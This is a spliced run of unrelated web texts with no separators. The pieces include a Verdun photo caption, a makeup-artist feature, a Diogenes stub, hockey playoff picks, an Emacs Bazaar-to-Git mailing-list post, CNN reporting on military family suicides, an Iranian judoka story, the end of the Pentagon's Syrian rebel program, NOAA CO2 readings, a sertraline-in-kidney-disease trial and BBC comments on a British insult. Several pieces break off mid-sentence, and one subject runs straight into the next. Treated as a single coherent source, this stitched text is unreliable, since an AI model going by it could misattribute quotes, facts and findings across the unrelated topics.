Even by the First World War standards, the horror that the men faced at Verdun was extreme. Flamethrowers were used for the first time as was phosgene gas, the artillery barrages were continuous and absolutely massive and the casualty rates are among the worst suffered. It also became a symbol of French resistance. The French armies had largely been humiliated and on the backfoot until Verdun and their victories there, no matter how small or costly, symbolized their devotion to resisting German aggression. Verdun did do enormous damage to the French forces. It saw the real beginnings of discontent in the French armies which would eventually lead to outright mutiny in some areas.
Photo authenticity disputed: According to some sources the above picture may come from a film by Léon Poirier dating from 1928 named Verdun: Visions of History. The movie portrays the battle of Verdun, primarily by recreating the battle on its location, but also with the use of newsreel footage and dramatic scenes. Most of the people in the film are actual French and German World War I veterans. However, it’s impossible to prove whether the above image is staged.Disney princesses are some of the most iconic figures in modern pop culture. Every little girl remembers her favorite childhood princess, the one whose personality, story, and physical features we wished we could embody ourselves.
One makeup artist decided to turn dreams into reality, and you really have to see how she did it.
With remarkable skill, this 21-year-old artist brings Disney’s beloved animated princesses to life.
Each princess’s unique style is taken into account using a detailed combination of hair, makeup, and costumes.
Each on is simply uncanny… but what makes the transformations even more impressive is the artist’s real identity underneath all that makeup.
Because ‘she’… is actually a ‘he’.
The talented designer behind these Disney princesses is actually Richard Schaefer, a freelance makeup artist from Orange County, California. Richard has been dressing up as Disney characters for the last four years.
In school, people always used to tease him and say that he looked like a girl.
Check out the next page for more incredible transformations!Life Edit
Philosophy Edit
Cynicism Edit Diogenes (1873) by (1873) by Jules Bastien-Lepage Along with Antisthenes and Crates of Thebes, Diogenes is considered one of the founders of Cynicism. The ideas of Diogenes, like those of most other Cynics, must be arrived at indirectly. No |
came in the season’s second half).
Line no. 1: The old-school narrative
The Blue Jackets have never even won a playoff game, which makes them a great underdog story, but it also puts them at serious risk of coming down with a deadly case of “just happy to be there” syndrome.
Line no. 2: Professor Fancystats says …
Despite their 109 points, the Penguins are a top-heavy team that gets killed possession-wise whenever the big stars aren’t out there, and they shouldn’t be considered a truly elite team.
Line no. 3: The key question
Can Sergei Bobrovsky, who’s quietly had a very good season after last year’s Vezina win, play the role of first-round goalie who stands on his head and steals a series?
Line no. 4: One player to watch
Penguins goalie Marc-Andre Fleury just finished what may well be the best regular season of his career, and none of it will matter if he struggles in the playoffs like he has in each of the past four years.
Prediction: A vulnerable Penguins team falls victim to a shocking upset — in Round 2, after surviving a tougher-than-expected series against the Blue Jackets in six.Re: Bazaar to Git status
From: Eric S. Raymond Subject: Re: Bazaar to Git status Date: Sun, 10 Aug 2014 16:56:31 -0400 User-agent: Mutt/1.5.21 (2010-09-15)
Paul Michael Reilly <address@hidden>: > Haven't noticed any messages in a while on the project to move Emacs > development from bzr to git. Not since January really. Did I miss > something that has shelved the project? Or maybe it is done and it is the > best kept secret since esr fired his first shot at Bazaar many months ago. > Or that daunting list of final things to do has proven even more stubborn > than even rms himself can be. :-) > > -pmr You haven't heard much about it because the hard work is all done. I have the scripts ready to go and need only about eight hours' notice before pushing the button. That is, assuming everyone has played nice and not embedded more bzr revision numbers in ChangeLogs or revision comments - if someone slipped on that then I will need to do another revision of the conversion recipe and another conversion run (they take about eight hours - it's a big repository). You can pull a copy of the transition recipe and associated scripts from here: git://gitorious.org/emacs-transition/emacs-transition.git I've documented the whole process; you can do a trial conversion yourself if you care to try. -- <a href="http://www.catb.org/~esr/">Eric S. Raymond</a>Story highlights Defense Suicide Prevention Office sends a report to Congress
It details a proposal for tracking suicides among military family members
DOD could buy data from the CDC, combine it with information already kept, according to report
Military father who attempted suicide: Tracking "would validate that families are traumatized"
When Scott Warner swallowed a palm full of pills and washed them down with vodka, all he could think about was the way his son looked back at him and smiled before boarding a plane to Iraq.
Heath Warner was 19, an Army private, when a bomb killed him in al Anbar Province on November 22, 2006.
"From the moment those men in uniforms were at our door, each day, the pain kept getting worse," recalled Scott Warner. "I was crawling up a wall. People out in the real world would tell me, 'Why aren't you over this? He's been gone for years. Why aren't you better by now?'
"All I wanted to do was end my life. I know I'm not alone. I've talked to other parents, other family members. We are hurting and someone must do something."
Though the military tracks suicides among service members, suicides among their family members -- spouses, siblings and parents -- go uncounted. But CNN learned Wednesday that the Pentagon's Defense Suicide Prevention Office has sent a report to Congress detailing for the first time a proposal for tracking those deaths.
The report came partly in response to cries for help from groups like the National Military Family Association, whose members know firsthand about the suicides and have struggled to call attention to the problem.
In interviews with CNN, military family members who have attempted or considered suicide say the cumulative trauma of 12 years of war -- America's longest battles -- and unprecedented multiple deployments of their loved ones have left them wrung out and desperate. Some have attempted suicide while struggling to care for injured service members. Others, like Scott Warner, have been pushed to the edge by the loss of their loved one at war.
Warner has slowly emerged from the darkness that enveloped him before his suicide attempt in 2010. When he heard about the Defense Department's report, he was hopeful.
"If they do this, it would validate that families are traumatized," Warner said. "This is a lonely journey that parents, siblings, spouses are walking. I know; I've talked to them. I don't care how long it takes, we all want this."
The report, obtained by CNN Wednesday, says the Defense Department does not currently have the ability to investigate, monitor or receive notification of military family member deaths and details how that might be done and what it would cost.
It would take 18 to 24 months for the Pentagon to analyze data it could buy from the Centers for Disease Control and Prevention's National Center for Health Statistics, which tracks deaths in the general U.S. population, the report says. That data -- names and locations of deaths -- could then be compared against data the Defense Department has on family members enrolled in an ID card program. The card allows them access to health benefits and other services, like shopping at on-base commissaries.
The cost of the effort, the report says: $681,600 the first year and $502,200 each additional year.
The report concedes there are limitations to the plan. Some family members, for instance, opt out of enrolling in the ID program. Service members' parents typically would not be in the ID program. If a relative not in the program committed suicide, it's possible they would not be counted.
Spokespersons for the House and Senate armed services committees told CNN on Wednesday that lawmakers are still reading the 20-page report.
"$600,000 is very little money to spend on something this important," said Kristina Kaufmann, a longtime military wife who since 2006 has written editorials in national newspapers and spoken before Congress about the need to track military family member suicides. "A couple years ago, I had people telling me I was being histrionic. They'd say a bunch of military spouses weren't killing themselves. But we have the anecdotes. What we don't have -- and I'm glad we're going to try to get -- is the actual data."
Kaufmann personally knew military wives who committed suicide. She was friends with Faye Vick. In 2006, the Fort Bragg mother placed her baby and 2-year old in the backseat of her car and asphyxiated them all.
Monique Lingenfelter was the wife of a sergeant assigned to a special operations unit at Bragg. In 2009, she barricaded herself in her home and shot herself.
Another military spouse, Karen Ruedisueli, told CNN that the organization she works for, the National Military Family Association, a nonprofit that serves a quarter-million military relatives, has heard an increasing number of stories about family members killing themselves. Late last year, the group formally implored Congress to ask the Defense Department to find a way to measure the deaths.
"We have a large network of volunteers across the country who come to us with these accounts and we have no way to track them," Ruedisueli said. "We're encouraged that DOD has come up with some kind of methodology."
The spouse of the highest-ranking military officer in the country tried to call attention to the problem four years ago. Deborah Mullen, wife of Adm. Mike Mullen, then the chairman of the Joint Chiefs of Staff, took the stage at a Defense Department conference to say she'd tried to get information about suicides among relatives. She met with leaders to see if they tracked family member suicides. Army leaders told her there were nine military family member suicides in 2009.
Mullen said she asked Army officials if they knew how many family members had attempted suicide.
"I was stunned when I was told that there were too many to track," she told the crowd. "If that number is that large just in the Army, we really don't have an idea of the scope of the problem."
"It's our responsibility," she implored. "These are our family members. We have got to find a way to track them."
An annual survey by Blue Star Families, the largest military family advocacy group, found suicide among relatives to be a serious concern. Out of 5,100 military family members surveyed in 2012, 9% of military spouses reported that they had considered suicide. Of those, nearly a quarter said they had not sought help.
But even if they had, it's unclear if they would have been heard.
The Defense Suicide Prevention Office report noted that branches of the military do not share standardized procedures in tracking suicide. The Army is the only service that attempts to track its military family members who commit suicide, the report says.
"I think we understand the bureaucracy," Scott Warner said. "I know this will be difficult. It's government. But what else can we believe other than that they will try?"An Iranian athlete likely to compete against an Israeli withdrew from the competition, claiming he was suffering from a “gut infection.”
Just days after U.N. secretary-general Ban Ki-moon announced the traditional Olympic Truce, which calls for people and nations to “set aside their differences” during the international Games, news emerged that the one Iranian athlete likely to face an Israeli in competition has withdrawn due to a “gut infection,” CNS news reported.
While Iran and a number of other Islamic counties have pulled athletes from international competitions in the past rather than be forced to compete against Israelis, International Olympic Committee (IOC) president Jacques Rogge recently warned that “sanctions will be taken” if any athlete withdraws from a competition without an explanation that is upheld by an independent medical board.
Iranian Javad Mahjoub qualified in the same half-heavyweight judo category as Ariel Ze’evi, an Israeli who won the bronze medal in Athens in 2004.
However, Iranian Sports Medicine Federation head Lotfali Pour-Kazemi said this week that Mahjoub’s condition required a 10-day antibiotic course and that he would not be able to compete in the August 2 competition, CNS news reported.
An Iranian judo website quoted him as saying that the judoka was experiencing “weakness, nausea and vomiting.”
Mahjoub’s name still appeared on the Iranian national Olympic committee (NOC) list of 54 competitors at the London games.
During the 2011 Judo World Cup in Tashkent, Mahjoub was scheduled to compete against another Israeli, Or Sasson, but refused to do so.
In the 2011world judo championships, a Tunisian competitor similarly withdrew in order to avoid facing Ze’evi, who ended up winning the silver medal.
Iranians also withdrew from a judo competition in the 2004 Olympic Games in Athens and from a swimming match in Beijing in 2008.
Last month, Iran’s IRNA news agency quoted Sports Minister Mohammad Abbasi as saying that Iranian athletes would refuse to compete against Israelis.
“Not competing with the Zionist athletes is one of the values and prides of the Iranian athletes and nation,” he said.In a move that officials said was likely coming weeks ago, the Pentagon today announced that it is formally ending its $500 million “train and equip” program, which was meant to create a new, pro-US rebel faction, dubbed the New Syrian Forces (NSF).
The NSF program was a disastrous failure, with two “classes” of rebels sent to Syria, numbering around 125 in all, and accomplishing nothing. The first class was 54 people, and quickly routed by al-Qaeda, leaving “four or five” left in recent testimony to Congress.
Incredibly, that was probably less of a failure than the second class, which saw roughly 70 fighters show up in Syria from Turkey and more or less immediately give all their US-made weapons and vehicles to al-Qaeda. Adding to the confusion about “US-trained rebels,” the Pentagon insisted they’d never trained the second class leader.
When Congress initially funded the program, there was talk of creating a force of tens of thousands of fighters that would eventually take all of Syria. They kept lowering projections and eventually 20,000 troops in the first year became a goal of 500 troops in two years. They didn’t even make that goal, however, and they finally decided to just give up instead of lowering the figure yet again.
Defense Secretary Ash Carter appeared reluctant to totally admit failure, however, saying the US is still committed to training Syrian rebels. They’re just not saying how or making any specific plans right now.
Last 5 posts by Jason Ditz400 parts per million at Mauna Loa reached two months ahead of 2013
Carbon dioxide readings at Mauna Loa Observatory Sunday: 400.13 ppm Monday: 401.12 ppm Tuesday: 401.18 ppm Wednesday: 401.28 ppm Thursday: 400.87 ppm More info: esrl.noaa.gov/gmd
Carbon dioxide levels at the National Oceanic and Atmospheric Administration's Mauna Loa Observatory in Hawaii and analyzed in Boulder have reached a disturbing benchmark earlier than last year and have done so for several days running, scientists said.
The readings hit 400 parts per million for CO2 every day from Sunday through Thursday. That is a level recorded at that observatory for the first time only last year — and in 2013, it was not reached until May 19.
The levels of CO2 in the Earth's atmosphere move in seasonal swings, typically peaking in May and hitting their low point in September.
"Each year it creeps up," said Jim Butler, director of the global monitoring division at NOAA.
"Eventually, we'll see where it isn't below 400 parts per million anywhere in the world. We're on our way to doing that."
Pieter Tans, chief scientist in NOAA's global monitoring division, said, "This problem could become much worse. The climate change we see at this point is just beginning."
Mauna Loa has been a premier atmospheric research facility, continuously monitoring and collecting data related to atmospheric change since the 1950s. The undisturbed air, remote location and minimal influences of vegetation and human activity there are considered ideal for monitoring particulates in the atmosphere that can cause climate change.
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Asked if seeing such numbers on carbon dioxide emissions was a warning bell, Butler said it is — but it is one that had previously been rung.
"It's not particularly a warning bell any more than it was last year," Butler said. "I think 400 ppm just says we're not doing anything to change the increase in CO2. Last year was a warning bell. It's always a warning bell."
Patricia Lang, who works with carbon cycle greenhouse gases at the National Oceanic and Atmospheric Administration in Boulder, measures gas containers Friday. NOAA has been measuring carbon dioxide levels from the Mauna Loa Observatory in Hawaii that are consistently high. (Cliff Grassmick / Daily Camera)
He said it is not, however, necessarily a so-called tipping point — because scientists don't yet know where the tipping point is. Carbon dioxide concentrations have risen about 120 ppm from pre-Industrial Age levels, with 90 percent of that increase coming in just the last century.
The Mauna Loa observatory, on the island of Hawaii, is part of a global network of about 65 data collection points utilized by NOAA from the Arctic Circle to the South Pole, including four fully equipped baseline observatories. Readings are registered on site, but 2.2-liter and pressurized 0.7-liter flasks are also shipped directly to NOAA in Boulder for analysis on a weekly basis.
Greenhouse gases being screened for in the testing include carbon dioxide, carbon monoxide, methane, nitrous oxide, surface and stratospheric ozone, and halogenated compounds including CFC replacements, hydrocarbons, sulfur gases, aerosols, and solar and infrared radiation.
Butler said readings from across the Earth show that the presence of CO2 is steadily growing by about 2.1 ppm each year. In the 1960s, he said, the annual global average growth was lower, about 0.7 ppm per year.
Sites in the Arctic Circle registered CO2 of 400 ppm or higher a year before Mauna Loa reached that level last May. Butler said the South Pole should also reach that level in a few years.
"It's going up faster," Butler said. "If we want to stabilize carbon dioxide, we have to be reducing greenhouse gas emissions by 80 percent. That would stabilize carbon dioxide in the atmosphere, where it is now."
But Butler is not optimistic the trend will be reversed.
"I've been watching for decades, and I don't see any changes in behavior, worldwide," he said. The drivers of climate change continue unabated in the developing world, he said, and he doesn't see options to fossil fuels, such as solar and wind power development, and utility companies' deployment of smart grids, becoming a significant enough factor quickly enough to reverse the trend.
"Those would be good things to do. But we're not doing it," Butler said. "I expect to see CO2 levels keep rising until changes are made."
Tans agreed, saying, "CO2 is still increasing at a record rate, and thereby committing the Earth to additional climate change in the near future."
Contact Camera Staff Writer Charlie Brennan at 303-473-1327 or brennanc@dailycamera.com.Key Points
Question Does treatment with sertraline improve depressive symptoms in patients with stage 3, 4, or 5 non–dialysis-dependent chronic kidney disease and major depressive disorder?
Findings In this randomized clinical trial that included 201 patients with non–dialysis-dependent chronic kidney disease and at least moderate depressive symptoms, the use of sertraline vs placebo did not result in a statistically significant difference in symptom improvement over 12 weeks (−4.1 points vs −4.2 points, respectively, of 27 possible points on the 16-item Quick Inventory of Depression Symptomatology–Clinician Rated).
Meaning Sertraline may not be an effective treatment for major depressive disorder in patients with non–dialysis-dependent chronic kidney disease.
Abstract
Importance Major depressive disorder (MDD) is prevalent among patients with chronic kidney disease (CKD) and is associated with morbidity and mortality. The efficacy and adverse events of selective serotonin reuptake inhibitors in these patients are unknown.
Objective To determine whether treatment with sertraline improves depressive symptoms in patients with CKD and MDD.
Design, Setting, and Participants The Chronic Kidney Disease Antidepressant Sertraline Trial (CAST) was a randomized, double-blind, placebo-controlled trial involving 201 patients with stage 3, 4, or 5 non–dialysis-dependent CKD, who were enrolled at 3 US medical centers. The Mini Neuropsychiatric Interview was used to establish MDD. The first participant was randomized in March 2010 and the last clinic visit occurred in November 2016.
Interventions After a 1-week placebo run-in, participants were randomized to sertraline (n = 102) for 12 weeks at an initial dose of 50 mg/d (escalated to a maximum dose of 200 mg/d based on tolerability and response) or matching placebo (n = 99).
Main Outcomes and Measures The primary outcome was improvement in depressive symptom severity from baseline to 12 weeks determined by the 16-item Quick Inventory of Depression Symptomatology–Clinician Rated (QIDS-C 16 ) (score range, 0-27; minimal clinically important difference, 2 points). Secondary outcomes included improvement in quality of life (Kidney Disease Quality of Life Survey–Short Form; score range, 0-100; higher scores indicate more favorable quality of life) and adverse events.
Results There were 201 patients (mean [SD] age, 58.2 [13.2] years; 27% female) randomized. The primary analysis included 193 patients who had at least 1 outcome assessment after randomization. The mean (SD) baseline QIDS-C 16 score was 14.0 (2.4) in the sertraline group (n = 97) and 14.1 (2.4) in the placebo group (n = 96). The median participation time was 12.0 weeks and the median achieved dose was 150 mg/d, which was not significantly different between the groups. The QIDS-C 16 score changed by −4.1 in the sertraline group and by −4.2 in the placebo group (between-group difference, 0.1 [95% CI, −1.1 to 1.3]; P =.82). There was no significant between-group difference in change in patient-reported overall health on the Kidney Disease Quality of Life Survey (median score, 0 in the sertraline group vs 0 in the placebo group; between-group difference, 0 [95% CI, −10.0 to 0]; P =.61). Nausea or vomiting occurred more frequently in the sertraline vs placebo group (22.7% vs 10.4%, respectively; between-group difference, 12.3% [95% CI, 1.9% to 22.6%], P =.03), as well as diarrhea (13.4% vs 3.1%; between-group difference, 10.3% [95% CI, 2.7% to 17.9%], P =.02).
Conclusions and Relevance Among patients with non–dialysis-dependent CKD and MDD, treatment with sertraline compared with placebo for 12 weeks did not significantly improve depressive symptoms. These findings do not support the use of sertraline to treat MDD in patients with non–dialysis-dependent CKD.
Trial Registration clinicaltrials.gov Identifier: NCT00946998
Introduction
Quiz Ref IDChronic kidney disease (CKD) affected 15% of the US population in 2016,1 and in 2013, depression was reported to be present in up to 25% of patients with CKD, which is 4 times higher than the prevalence in the general population.2,3 Comorbid depression was independently associated with hospitalization, cardiovascular events, and death among patients with non–dialysis-dependent CKD and among those dependent on dialysis.4-9 Depression also significantly worsened patient-centered outcomes and was associated with dialysis initiation, lower quality of life, greater symptom burden, sexual dysfunction, and nonadherence to medications and dietary restrictions.10,11
Evidence for placebo-controlled efficacy of commonly used antidepressants, such as selective serotonin reuptake inhibitors (SSRIs), is limited among patients with CKD, who generally have been excluded from large randomized trials of antidepressant medication treatment due to safety concerns.12-14 There is a need to establish whether antidepressant medications are safe and efficacious in patients with CKD who are at a disproportionately higher risk for both depression and its complications.
The purpose of this study was to determine whether treatment with sertraline would improve depressive symptoms in patients with non–dialysis-dependent stage 3, 4, or 5 CKD and major depressive disorder (MDD).
Methods
Study Design
The Chronic Kidney Disease Antidepressant Sertraline Trial (CAST) was a double-blind, placebo-controlled, parallel-design, 12-week flexible-dose randomized clinical trial conducted at 3 large medical centers in Dallas, Texas (University of Texas Southwestern Medical Center, Parkland Hospital, and the Veterans Affairs North Texas Health Care System). Detailed methods were published.15 The trial protocol appears in Supplement 1. The data analysis plan appears in Supplement 2.
The study was approved by the institutional review boards at each site and conducted per good clinical practice guidelines and the principles of the Declaration of Helsinki. Written informed consent was obtained from every participant prior to enrollment. The study was monitored by an independent data and safety monitoring board.
Participants and Eligibility
Individuals with stage 3, 4, or 5 non–dialysis-dependent CKD presenting to primary care or CKD clinics were screened with the 16-item Quick Inventory of Depressive Symptomatology–Self-Reported (QIDS-SR 16 ) and deemed eligible if they had a score of 11 or greater (score range, 0-27). This instrument was previously validated for depression screening and shown to be independently associated with outcomes among individuals with CKD.16,17
Individuals who provided consent completed the Mini International Neuropsychiatric Interview,18 which is based on the Diagnostic and Statistical Manual of Mental Disorders (Fourth Edition) (DSM-IV), to confirm current unipolar MDD and exclude other psychiatric conditions (ie, bipolar disorder or psychosis). Quiz Ref IDParticipants then completed a 1-week single-blind placebo run-in to exclude those who were nonadherent and ensure each individual still met the eligibility criterion of having a 16-item Quick Inventory of Depression Symptomatology–Clinician Rated (QIDS-C 16 ) score of 11 or greater. Those who successfully completed the run-in (score of ≥11 on the QIDS-C 16 and took ≥65% of study drug by pill count) were randomized by concealed allocation to 50 mg/d of either sertraline or matching placebo.
After randomization, participants attended clinic visits every 2 weeks for 6 weeks, then every 3 weeks for the remaining 6 weeks during the double-blind phase of the study (eFigure in Supplement 3). Dose was escalated by 50 mg/d at each successive visit to a potential maximum dose of 200 mg/d based on tolerability and response using a previously described measurement-based care protocol.12,13,15,19 The dose was kept constant for the last 6 weeks of the study. Adherence was ascertained by using pill counts at each visit, with nonadherence defined as having taken less than 80% of the drug. After 12 weeks, the drug was tapered at a rate of 50 mg/wk until completely discontinued. Participants were reassessed for depression 2 weeks after discontinuation and offered open-label sertraline or other therapy, which was managed by primary care or mental health physicians.
Quiz Ref IDAdults with non–dialysis-dependent CKD stage 3, 4, or 5 (estimated glomerular filtration rate <60 mL/min/1.73 m2) were invited to participate. The inclusion criteria were changed to an estimated glomerular filtration rate of less than 45 mL/min/1.73 m2 early during the study in response to the National Institutes of Diabetes and Digestive and Kidney Diseases recommendation to reduce sample heterogeneity. There was no lower eligibility threshold for estimated glomerular filtration rate. Patients were excluded for the following reasons: inability to provide consent; having a functioning kidney transplant or requiring maintenance dialysis; having a transaminase elevation 3 or greater times the upper limit of normal; receiving current treatment with an antidepressant or other serotonergic drugs, or previous sertraline treatment failure; receiving psychotherapy for depression within 3 months; having psychosis or bipolar disorder, dementia, or suicidal intent; or being pregnant. Race and ethnicity were recorded by self-report based on fixed categories to describe the diversity of participants.
Randomization and Blinding
Patients were randomized in a 1:1 ratio using block randomization (block size range, 4-8) based on a computerized random-number generator, stratified by hospital site ([1] the University of Texas Southwestern Medical Center and Parkland Hospital or [2] the Veterans Affairs North Texas Health Care System) and CKD stage (3, 4, or 5). Treatment assignments were conducted by research pharmacists at each site using the prespecified random allocation sequence. Participants, researchers, and clinicians were blind to treatment assignment. The QIDS-C 16 outcome measure was administered by trained personnel who were blind to treatment assignments and measurement-based care algorithms.
Study End Points
The prespecified primary outcome was improvement in depressive symptom severity from baseline to 12 weeks determined by the QIDS-C 16 at baseline and weeks 2, 4, 6, 9, and 12. The QIDS-C 16 assesses the 9 DSM-IV criterion symptoms of MDD, with higher scores (range, 0-27) indicating more severe depression.20
Prespecified secondary outcomes included (1) response (≥50% decrease in baseline QIDS-C 16 score) and remission (score decrease to ≤5); (2) quality-of-life end points and overall functioning assessed by the 5-item Work and Social Adjustment Scale (WSAS; in which each item is rated on a 0-8 Likert scale with 0 indicating no impairment; 8, severe impairment; score range, 0-40)21 and the Kidney Disease Quality of Life Survey–Short Form (KDQOL-SF version 1.3; score range, 0-100; higher scores signify more favorable quality of life),22 which were administered at baseline and at 6 and 12 weeks; (3) adverse events and tolerability assessed by the occurrence of serious adverse events (ie, death, dialysis initiation, hospitalizations, or bleeding requiring transfusion), maximal global adverse effects reported on the 56-item Systemic Assessment for Treatment Emergent Effects (SAFTEE; rated on a 0-4 ordinal scale with 0 indicating none; 4, marked adverse effects),23 and maximal frequency, intensity, and burden of adverse effects assessed with the Frequency, Intensity, and Burden of Side Effects Rating scale (each item rated on a Likert scale as present 0%, 10%, 25%, 50%, 75%, 90%, or all the time).24 Adverse events and tolerability were assessed at every visit.15
Sample Size
Data collected during the pilot phase showed that individuals with CKD and MDD had a mean (SD) decrease in QIDS-SR 16 score of 5.6 (4.1) points after treatment with an SSRI.15 A mean antidepressant drug-placebo difference of 3 points or greater on the Hamilton Rating Scale of Depression is recommended as a criterion for clinical significance when establishing guidelines for the treatment of depression.25 This is equivalent to a difference of 2 points on the QIDS-C 16, which was regarded as the smallest clinically meaningful difference between the sertraline and placebo groups.20 Assuming a similar SD of 4 points yielded an effect size of 0.5, a t test comparison using a 2-sided α of.05 was estimated to be able to detect an effect size of 0.5 with 80% power in a sample of 128 participants (64 per group). A sample size of 200 (100 per group) was proposed so that if the SD was unexpectedly larger at 5 points, resulting in an effect size of 0.4, there would still be 80% power to detect a between-group difference.
Statistical Analysis
Using the modified intention-to-treat principle, participants were analyzed in the groups to which they were randomized if at least 1 QIDS-C 16 assessment after randomization was available. The QIDS-C 16 score was compared between groups using a repeated-measures mixed-effects model, with treatment group as the between-participants factor and random intercept and slopes as within-participant factors. Baseline QIDS-C 16 was included as a covariate. The interactions between hospital site and CKD stage (3 vs 4 or 5) by treatment group and time were tested but not retained unless significant.
Response and remission were tested using the same procedure for a mixed-effects model, which is appropriate for a repeated binary outcome. A mixed-effects model for continuous outcomes as described for the primary analysis was used to compare changes in the WSAS and the KDQOL-SF, with baseline scores included as covariates. Given that (1) the amount of missing primary outcome data was small, (2) mixed-effects models allow inclusion of participants with missing data, and (3) these models are unbiased when data are missing at random, imputation of missing data was not done.26
The proportion experiencing an adverse event; the maximum SAFTEE global assessment of adverse effects; and the maximal frequency, intensity, and burden of adverse effects at any visit were compared between groups using χ2 tests. A binary outcome (any adverse effect at any visit vs none) was created for each participant and compared between groups using the χ2 test. The mean number of worsening SAFTEE symptoms was compared between groups using a t test. Statistical tests were 2-sided and P <.05 was considered significant. The statistical analyses were performed using SAS version 9.4 (SAS Institute Inc).
Results
There were 201 patients (mean [SD] age, 58.2 [13.2] years; 27% female) randomized. The first participant was randomized in March 2010 and the last clinic visit occurred in November 2016. Of the 997 patients who qualified based on having a QIDS-SR 16 score of 11 or greater and meeting other eligibility criteria, 697 did not provide consent. Of the 300 who provided consent, 261 met the Mini International Neuropsychiatric Interview MDD criteria and entered the placebo run-in. Sixty were excluded, leaving 201 to be randomized (Figure 1). Eight patients exited the study prior to the first QIDS-C 16 assessment at week 2 and, therefore, had no outcome assessments after baseline and were excluded from the primary analysis. Therefore, 193 patients (97 in the sertraline group and 96 in the placebo group) constituted the modified intention-to-treat sample.
Baseline Characteristics
Of the 193 participants, 11% had stage 3A CKD; 36%, stage 3B; 36%, stage 4; and 17%, stage 5. The proportion in each CKD stage was not significantly different between treatment groups. Baseline characteristics were mostly balanced between groups, except that a larger proportion were receiving treatment with erythropoiesis-stimulating agents in the placebo group (7% vs 0% in the sertraline group; Table 1).
The mean (SD) baseline score on the QIDS-C 16 (minimum score, 0; maximum, 27) was 14.0 (2.4) in the sertraline group and 14.1 (2.4) in the placebo group. There were no clinically meaningful between-group differences in the proportion with comorbid psychiatric illnesses, in the Mini-Mental State Examination scores, or in the quality-of-life scores (Table 1). Six participants in the sertraline group had a history of substance dependence compared with 1 participant in the placebo group.
Treatment Characteristics
The median treatment duration was 84.0 days (interquartile range, 83.0 to 87.0 days; between-group difference, 0 days [95% CI, 0 to 2.0 days], P =.19; Table 2). Altogether, 92% completed at least 6 weeks and 84% completed all 12 weeks of the study. The number of postrandomization visits and the proportion that completed 4, 6, 9, or 12 weeks of the study were not significantly different between the groups (Table 2). The median achieved sertraline dose was 150 mg/d (interquartile range, 100 to 150 mg/d; between-group difference, 0 mg/d [95% CI, −50.0 to 0 mg/d], P =.10). The mean percentage of drug taken ascertained by pill count was 94% in the sertraline group and 96% in the placebo group (between-group difference, −1.6% [95% CI, −4.7% to 1.4%], P =.29). Three participants in the sertraline group and 2 in the placebo group were nonadherent (P =.66).
Efficacy Outcomes
The mixed-effects model showed no significant treatment group main effect (P =.82) or interaction with time (P =.71) in the QIDS-C 16 scores (Figure 2). Quiz Ref IDThe mean change from baseline to study exit in the QIDS-C 16 score was −4.1 in the sertraline group and −4.2 in the placebo group (between-group difference, 0.1 [95% CI, −1.1 to 1.3], P =.82; Table 3). Figure 3 illustrates changes in the QIDS-C 16 score from baseline to study exit for individual participants.
The binary mixed-effects model for remission showed no treatment group main effect (P =.57) or interaction with time (P =.58). The proportion with remission was 15.5% in the sertraline group and 14.6% in the placebo group (between-group difference, 0.9% [95% CI, −9.2% to 11.0%], P =.86; Table 3). The mixed-effects model for response showed no treatment group main effect (P =.54) or interaction with time (P =.97). The proportion of participants with a treatment response was 32.0% in the sertraline group and 25.0% in the placebo group (between-group difference, 7.0% [95% CI, −5.7% to 19.6%], P =.28; Table 3).
Functioning and Quality-of-Life Outcomes
The mixed-effects model for the WSAS showed no significant treatment group main effect (P =.64) or interaction with time (P =.33). The mean change from baseline to study exit in overall functioning by WSAS score was not significantly different (between-group mean difference, −1.8 [95% CI, −5.4 to 1.8], P =.32; Table 3).
There was no significant difference in change in patient-reported overall health on the KDQOL-SF (median, 0 vs 0; between-group median difference, 0 [95% CI, −10.0 to 0]; P =.61). The mixed-effects model for the physical |
everyone else it means 'total idiot' - but it's still offensive, it's a fight-starting word. "If you call someone it to their face, unless they are a close friend and you are teasing them, it's a fairly offensive word - although not on the same level as the C-word or the F-word. "It looks like 'twit'. People who aren't on the street and don't use street language are maybe not aware of how strong it is." New media Mr Cameron falls into this category, trying to adopt street language but making "a mess of it", says Mr Thorne. It's not a widely deployed term of abuse, he says, and there seems to be conflicting opinion about regional uses and interpretations. But thanks to the satirical character Nathan Barley - created by Charlie Brooker - it became shorthand for irritating media-types who live or socialise in fashionable Shoreditch, east London. Although in some minds it is associated with "twit", that single vowel change from "i" to "a" can make all the difference. Twit makes it into Mr Thorne's book, 100 Words That Make Us English, because it's a "homely and comfortable" insult that is quintessentially English, he says. The other does not. Below is a selection of your comments. There's definitely a north-south divide with the t-word - it means 'twit' down south. I'm a southerner and when I started visiting Manchester over 20 years ago there was a very sharp intake of breath when I used it in that sense. I trained myself not to use it but the t-word still causes as much offence as the c-word in Manchester even now. Generally, I'd say southerners swear alot more than northerners though.
Bec, Monton, Salford My mother, born 1929, heard it in the 80s and thought it was merely a stronger form of "twit". She had used it for several weeks before we took her to one side and explained its actual meaning. She spent a week frantically trying to contact anyone she might have offended by using it in front of them. Up here, it's also used as a verb e.g. "I could twat 'im with one head-butt."
Lily O, Leeds UK I think currently, it is used in similarity to 'twit', and my friends and I have used it quite often in a teasing manner. However it can vary by region, as one of my friends deeply offended a friend of hers in Edinburgh by using the word. Even though she meant it in a playful manner. Therefore you need to be wary of this. However if it had been anyone except David Cameron who had said it, would there be such a furore?
Rachel, Aberdeen I am over 50 and when I grew up it was (and as far as I am concerned still is) certainly an extremely offensive remark and did refer to female genitalia, as did the word "pr*t", which is now more commonly used as a reference to your backside and as used by the Americans.
Captain Black, London Yes it had a meaning a long time ago which is more offensive than it is today - but language evolves and for 99.99999% of the population it is a cheap jibe or insult. In the context used I think the press officer etc. need to grow up a bit.
Matt, Southampton My understanding is that it's partly down to regional differences. I was told by someone who worked for a national media outlet that it's considered a fairly standard, inoffensive term in the South of England (like 'twit'). However in the North, especially the North East, it's considered to be a fair bit more offensive (more like the 'c-word').
Michael, London Some words can be offensive to some but not to others. For example, I grew up in South East London where people my age (60+) find the word 'berk' offensive. Why? Berk is short for Berkshire Hunt where the word 'Hunt' is Cockney rhyming slang for the 'c' word. Elsewhere 'berk' is used quite extensively without causing offence
Terry Suttle, New Eltham, London Wasn't there an episode of Fawlty Towers that had a anagram of the name on the hotel's signpost that read Flowery Twats??? Let's get a grip and not become too "PC"!!
Paul Lewis, Cannes, France
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StumbleUpon What are these? E-mail this to a friend Printable versionBroadway theatre in Manhattan
